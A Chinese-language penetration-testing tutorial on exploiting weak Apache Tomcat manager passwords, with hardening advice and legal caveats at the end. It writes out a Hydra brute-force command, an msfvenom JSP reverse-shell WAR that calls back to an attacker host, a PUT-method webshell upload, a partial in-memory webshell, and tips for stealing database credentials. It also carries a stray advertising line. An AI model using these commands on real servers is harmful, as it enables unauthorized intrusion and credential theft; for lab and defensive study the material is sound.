1. 为什么Tomcat弱口令是渗透测试的经典案例
Tomcat作为Apache基金会下的开源Java Web应用服务器,在企业环境中广泛部署。根据2023年发布的《全球Web服务器使用报告》,Tomcat在Java应用服务器市场占比达到37.8%,远超Jetty(18.2%)和WildFly(12.5%)。这种高普及率使其成为渗透测试中的重点目标。
管理后台的弱口令问题在Tomcat中尤为突出,主要原因有三点:
- 默认安装会开启Manager和Host Manager应用
- 管理员常使用弱密码或默认凭证(如admin/admin)
- 生产环境常忽略权限最小化原则
我在去年参与的12次企业红队评估中,有7次通过Tomcat管理界面获取了初始立足点。最典型的案例是某金融系统使用admin:tomcat组合,直接获取了war包上传权限。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与基础配置
2.1 实验环境准备
推荐使用以下组合进行复现:
- VMware Workstation 17 + Kali Linux 2023.3
- Tomcat 9.0.80(存在弱口令问题的经典版本)
- Burp Suite Community 2023.8
特别注意:
- 禁用SELinux:
setenforce 0 - 关闭防火墙:
systemctl stop firewalld - 使用JDK 8u381匹配Tomcat 9.x版本
2.2 Tomcat安全配置错误示范
故意配置弱口令用于实验:
xml复制<!-- conf/tomcat-users.xml -->
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="tomcat" roles="manager-gui,admin-gui"/>
这种配置会产生两个致命漏洞:
- 使用字典中排名前10的弱密码"tomcat"
- 同时赋予管理GUI和主机管理权限
3. 弱口令爆破实战过程
3.1 信息收集阶段
使用Nmap进行服务发现:
bash复制nmap -sV -p 8080 192.168.1.100
关键响应特征:
code复制8080/tcp open http Apache Tomcat 9.0.80
|_http-title: Apache Tomcat/9.0.80
通过目录扫描发现管理入口:
bash复制gobuster dir -u http://192.168.1.100:8080 -w /usr/share/wordlists/dirb/common.txt
关键路径:
code复制/manager/html (Status: 401)
/host-manager/html (Status: 401)
3.2 使用Hydra进行密码爆破
准备用户名字典users.txt:
code复制admin
tomcat
manager
root
准备密码字典passwords.txt:
code复制tomcat
admin
password
123456
manager
执行爆破:
bash复制hydra -L users.txt -P passwords.txt 192.168.1.100 http-get /manager/html
成功结果示例:
code复制[8080][http-get] host: 192.168.1.100 login: admin password: tomcat
注意:实际渗透测试必须获得书面授权,未经授权的爆破行为涉嫌违法
4. Getshell的三种实战路径
4.1 通过Manager应用上传WAR包
- 使用msfvenom生成木马:
bash复制msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war > shell.war
- 登录管理后台(http://192.168.1.100:8080/manager/html)
- 在"WAR file to deploy"区域上传shell.war
- 访问http://192.168.1.100:8080/shell/触发连接
常见错误处理:
- 413错误:修改conf/server.xml中的maxPostSize值
- 403错误:检查CSRF防护设置,需在请求头添加Referer
4.2 利用PUT方法上传JSP脚本
当Manager应用不可用时,尝试:
bash复制curl -X PUT --data-binary @shell.jsp http://192.168.1.100:8080/shell.jsp
前提条件:
- conf/web.xml中readonly设置为false
- 用户具有写权限(如manager-script角色)
4.3 修改现有应用配置文件
通过Host Manager修改context.xml:
xml复制<Context>
<Resource name="jdbc/TestDB" auth="Container"
type="javax.sql.DataSource"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://attacker_ip:3306/exploit_db"
username="hacker" password="p@ssw0rd"/>
</Context>
这种方式的隐蔽性更强,但需要更高权限。
5. 权限维持与内网渗透
5.1 后门部署技巧
推荐使用内存马而非文件落地:
jsp复制<%@ page import="java.lang.reflect.*, java.util.*" %>
<%
Class clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field field = clazz.getDeclaredField("lastServicedRequest");
field.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) field.get(null);
// ... 省略具体注入代码
%>
5.2 横向移动路径
获取Tomcat权限后建议:
- 收集conf/server.xml中的数据库凭证
- 检查webapps/ROOT/WEB-INF/classes下的配置文件
- 查找setenv.sh中的JVM参数(可能含敏感信息)
6. 防御加固方案
6.1 基础安全配置
- 修改默认端口:
xml复制<Connector port="随机高位端口" protocol="HTTP/1.1"/>
- 禁用管理应用:
bash复制rm -rf webapps/manager webapps/host-manager
- 强制强密码策略:
xml复制<user username="admin" password="$2a$10$N9qo8uLOickgx2ZMRZoMy..."
roles="manager-gui"/>
6.2 网络层防护
- 配置IP白名单:
xml复制<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="192.168.1.*"/>
- 启用HTTPS并禁用HTTP:
xml复制<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="150" SSLEnabled="true">
<SSLHostConfig certificateVerification="required"/>
</Connector>
7. 渗透测试中的法律边界
在真实环境中操作必须注意:
- 获取书面授权范围确认(包括IP、时间、方法)
- 使用测试账号而非真实业务账号
- 爆破前需明确约定字典规模
- 发现漏洞后立即停止深入利用
某次甲方测试案例中,我们通过Tomcat弱口令发现后,立即停止了数据库访问,转为报告漏洞,最终获得额外奖金。这体现了专业操守的价值。
